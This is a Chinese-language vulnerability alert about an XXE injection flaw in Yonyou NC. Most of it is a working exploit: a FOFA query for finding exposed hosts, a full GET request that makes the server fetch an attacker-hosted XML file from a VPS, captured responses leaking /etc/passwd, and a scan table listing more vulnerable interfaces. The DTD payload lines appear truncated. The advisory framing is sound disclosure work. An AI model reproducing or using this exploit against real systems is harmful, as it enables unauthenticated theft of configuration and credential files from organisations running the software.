

关于用友 NC XML实体注入漏洞预警

漏洞描述

用友 NC 多处接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响范围

用友 NC

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

python起http服务建立对应系统的xml

<http://your-vps:8000/linux.xml>

windows:

]>&name;1

linux:

]>&name;1

FOFA: app="用友-UFIDA-NC"

POC/EXP:

GET /uapws/service/**nc.itf.ses.DataPowerService**?xsd=<http://your-vps:8000/linux.xml> HTTP/1.1

Host: 121.0.0.1:55555

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=00005jPasWztH6Dks3U51sM0pFy:1h2s67gf4
Connection: close

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 GET /uapws/service/nc.itf.ses.DataPowerService?xsd= http://10.10.10.10:8000/linux.xml HTTP/1.1 2 Host: 10.10.10.10:55555 3 Cache-Control: max-age=0 4 DNT: 1 5 Upgrade-Insecure-Requests: 1 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 8 Accept-Encoding: gzip, deflate 9 Accept-Language: zh-CN,zh;q=0.9 10 Cookie: JSESSIONID=00005jPasWztH6Dks3U51sM0pFy:1h2s67gf4 11 Connection: close 12 13</pre>		<pre>4 Connection: Close 5 Date: Thu, 29 Feb 2024 12:46:39 GMT 6 Server: WebSphere Application Server/6.1 7 Content-Length: 1793 8 9 <?xml version='1.0' encoding='UTF-8'?> <user> <username> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/sbin/nologin dbus:x:81:81:System message bus:/sbin/nologin usbmuxd:x:113:113:usbmuxd user:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin abrt:x:173:173:/etc/abrt:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin haldaemon:x:68:68:HAL daemon:/sbin/nologin gdm:x:42:42:/var/lib/gdm:/sbin/nologin ntp:x:38:38:/etc/ntp:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin sasauth:x:498:76:"Saslauthd user"/var/empty/saslauth:/sbin/nologin postfix:x:89:89:/var/spool/postfix:/sbin/nologin pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin</pre>	

POC/EXP中加粗部分可替换 漏洞接口.txt 中其他接口

Request ^	Payload	Status code	Error	Timeout	Length	Comment	
0		200	☐	☐	1981		
1	nc.itf.ses.DataPowerService	200	☐	☐	1981		
2	nc.itf.tb.outlineversion.TbbO...	404	☐	☐	260		
3	nc.itf.ses.inittool.PortalSESi...	200	☐	☐	1981		
4	nc.itf.bap.service.IBapIOServ...	404	☐	☐	260		
5	nc.itf.ses.inittool.SESInitTool...	200	☐	☐	1981		
6	nc.pubitf.rbac.IUserPubServi...	404	☐	☐	260		
7	nc.itf.tb.oba.IOBAMasterNo...	404	☐	☐	260		
8	nc.itf.tb.oba.INtbOBASWebS...	404	☐	☐	260		
9	nc.itf.smart.ISmartQueryWe...	404	☐	☐	260		
10	nc.itf.bd.crm.IMeasdocExpo...	200	☐	☐	1981		
11	nc.itf.bd.crm.IAreacExportT...	200	☐	☐	1981		
12	nc.itf.bd.crm.IInvcExportTo...	200	☐	☐	1981		
13	nc.itf.bd.crm.ICorpExportTo...	200	☐	☐	1981		
14	nc.itf.bd.crm.IInvasdocExp...	200	☐	☐	1981		

Request	Response
Pretty	RawHexRender
	<pre><user> <username> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:./sbin/nologin dbus:x:81:81:System message bus:./sbin/nologin usbmuxd:x:113:113:usbmuxd user:./sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin abrt:x:173:173:./etc/abrt:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin</pre>

修复方案

官方修复：

关闭互联网暴露面或接口设置访问权限

升级至安全版本